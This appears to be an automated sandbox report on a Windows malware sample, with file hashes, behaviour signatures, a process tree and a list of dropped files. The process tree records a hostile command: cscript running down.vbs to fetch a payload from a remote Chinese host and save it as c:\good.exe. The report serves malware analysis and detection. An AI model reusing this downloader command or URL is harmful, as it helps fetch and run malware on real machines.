Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-04-2024 21:10

General

  • Target

    e86c9e4cfe51cb87741266d39cbd9cce_JaffaCakes118.exe

  • Size

    119KB

  • MD5

    e86c9e4cfe51cb87741266d39cbd9cce

  • SHA1

    e84e645d1d330766f18bd8b286dee7e322ad0864

  • SHA256

    dd3d85c3d766625ee608713fdbb7fe2443f57436af6ce61dde7ee7b181207311

  • SHA512

    a066b0771537ab9732466ce97cd7e4b425fd278796aeb63701f9718e8b521690f1812e9a38b9b950ed1d1e94f7531df1f89c37f3252afd6983e8577a3c67df15

  • SSDEEP

    3072:qUBZ36A3AhfmuJewyPn88iJkZmFxF2i64ZtwAw:qUrqA3AheuswyPn85Jgm16vAw

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e86c9e4cfe51cb87741266d39cbd9cce_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e86c9e4cfe51cb87741266d39cbd9cce_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Program Files\sdfssdfsdf\vbs11.exe
      "C:\Program Files\sdfssdfsdf\vbs11.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c C:\Users\Admin\AppData\Local\Temp\~5D72.bat "C:\Program Files\sdfssdfsdf\vbs11.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\SysWOW64\cscript.exe
          cscript down.vbs http://www.kangnai520.cn:88/vv.htm c:\good.exe
          4⤵
            PID:2380

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Program Files\sdfssdfsdf\down.vbs

      Filesize

      1KB

      MD5

      4ec7d8625b00a83ef4b93f6f8a1a97ab

      SHA1

      2638217106e17b2f99221f67ffdf9e56a8fe5293

      SHA256

      e5707cbf9b0853f22bcc139e4c77b39c640077e430edf3a4e138b46ccf9499a4

      SHA512

      fd753a60588af4155fa564430175a99ecdef4539f82b2718b6a2f8f272339952fcb9b0e5c65ac0d71fce978e6b67765f4f479e98e6afde3aebe824a1bf24bde3

    • C:\Program Files\sdfssdfsdf\vbs11.exe

      Filesize

      58KB

      MD5

      0fd35fa306511224cc7526028e69d1c8

      SHA1

      497a54cd652a3d31c49942b10d020816c7f2ac55

      SHA256

      917cafe9176efc3dd62442e6aa69c0cadc150bc6240f9d399b4d3f4f45ccb44d

      SHA512

      48a5abcaf992b7e8a87ea6360cdf84238e9d68fa56eaa99ca3f99f4325cf29acd718fcb4cfdaa70b28b34996f7b95871999389640c789115de7cab2e6c79e63b

    • C:\Users\Admin\AppData\Local\Temp\~5D72.bat

      Filesize

      100B

      MD5

      ee88e1ecb1e28056f1801c8e3539a467

      SHA1

      199953af609165384fae50b25bbb51e4091cbb7d

      SHA256

      7b5a9a3fc2ee31d97bd642d6768f004cca051e756271db1b06c2673d32fbe09e

      SHA512

      310640c704eaada227883a15bef552fdb9356bde21a6d8eed118d13ab7d0dd367ccd914b04b4e2e9b095e8919968b7594cd17b8184570d1a2b9ce2db11a11001

    • memory/2568-17-0x0000000000400000-0x0000000000417000-memory.dmp

      Filesize

      92KB